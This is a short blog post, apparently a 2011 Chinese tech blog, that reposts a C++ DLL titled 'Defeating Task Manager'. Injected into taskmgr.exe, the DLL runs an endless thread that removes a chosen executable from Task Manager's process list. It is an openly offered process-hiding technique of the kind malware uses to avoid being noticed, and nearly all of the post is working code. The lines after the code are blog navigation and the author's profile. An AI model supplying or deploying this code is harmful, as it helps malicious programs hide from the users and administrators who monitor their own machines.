Defeating Task Manager

Just inject this DLL into taskmgr.exe and it does the rest. Also, AbsoluteFatal helped.


#include <windows.h>
#include <commctrl.h>

DWORD WINAPI Thread(LPVOID)
{
 LVFINDINFO Find;
 Find.flags = LVFI_STRING;
 Find.psz = "YOUR EXE NAME HERE"; // TYPE THE EXE YOU WANT TO REMOVE HERE

 while(TRUE) {
  HWND hManager = FindWindow(NULL, "Windows Task Manager");
  HWND hDialog  = FindWindowEx(hManager, NULL, "#32770", NULL);
  HWND hList = FindWindowEx(hDialog,  NULL, "SysListView32", "Processes");
  int nItem = ListView_FindItem(hList, -1, &Find);
  ListView_DeleteItem(hList, nItem);
 }
 return FALSE;
}


BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
 if(fdwReason == DLL_PROCESS_ATTACH){
  CreateThread(0, NULL, (LPTHREAD_START_ROUTINE)&Thread, NULL, NULL, NULL);
 }
 return TRUE;
}


posted on 2011-03-08 21:36 挑灯看剑 阅读(172) 评论(0)  编辑 收藏 引用

只有注册用户登录后才能发表评论。
<2011年3月>
272812345
6789101112
13141516171819
20212223242526
272829303112
3456789

导航

公告

【自我介绍】 08年南开大学硕士毕业 最近关注:算法、Linux、c++、高并发 爱好:滑旱冰、打乒乓球、台球、保龄球

常用链接

随笔分类(139)

文章分类

我常去的网站

技术博客(都是大牛)

技术站点

搜索

积分与排名